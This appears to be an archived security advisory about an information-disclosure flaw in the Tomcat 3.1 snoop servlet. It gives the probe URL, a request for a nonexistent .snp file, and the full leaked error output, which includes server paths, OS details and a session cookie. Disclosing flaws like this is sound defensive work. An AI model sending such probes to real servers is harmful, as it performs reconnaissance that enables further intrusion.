source: http://www.securityfocus.com/bid/1532/info A vulnerability exists in the snoop servlet portion of the Tomcat package, version 3.1, from the Apache Software Foundation. Upon hitting an nonexistent file with the .snp extension, too much information is presented by the server as part of the error message. This information may be useful to a would be attacker in conducting further attacks. This information includes full paths, OS information, and other information that may be sensitive. http://narco.guerrilla.sucks.co:8080/examples/jsp/snp/anything.snp ==== Snoop Servlet Servlet init parameters: Context init parameters: Context attributes: javax.servlet.context.tempdir = /appsrv2/jakarta-tomcat/work/localhost_8080%2Fexamples sun.servlet.workdir = /appsrv2/jakarta-tomcat/work/localhost_8080%2Fexamples Request attributes: Servlet Name: snoop Protocol: HTTP/1.0 Scheme: http Server Name: narco.goverment.sucks.co Server Port: 8080 Server Info: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.1.8; AIX 4.2 POWER_RS; java.vendor=IBM Corporation) Remote Addr: xxx.xxx.xxx.xxx Remote Host: xxx.xxx.xxx.xxx Character Encoding: null Content Length: -1 Content Type: null Locale: en Default Response Buffer: 8192 Parameter names in this request: Headers in this request: Host: narco.goverment.sucks.co:8080 Accept-Encoding: gzip Cookie: JSESSIONID=To1212mC7833304641226407At Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* Connection: Keep-Alive Accept-Charset: iso-8859-1,*,utf-8 User-Agent: Mozilla/4.51 [en] (Winsucks; I) Accept-Language: en Cookies in this request: JSESSIONID = To1212mC7833304641226407At Request Is Secure: false Auth Type: null HTTP Method: GET Remote User: null Request URI: /examples/jsp/snp/anything.snp Context Path: /examples Servlet Path: /jsp/snp/anything.snp Path Info: null Path Trans: null Query String: null Requested Session Id: To1212mC7833304641226407At Current Session Id: To1212mC7833304641226407At Session Created Time: 964047263477 Session Last Accessed Time: 964047528749 Session Max Inactive Interval Seconds: 1800 Session values: numguess = num.NumberGuessBean@6bfa9a1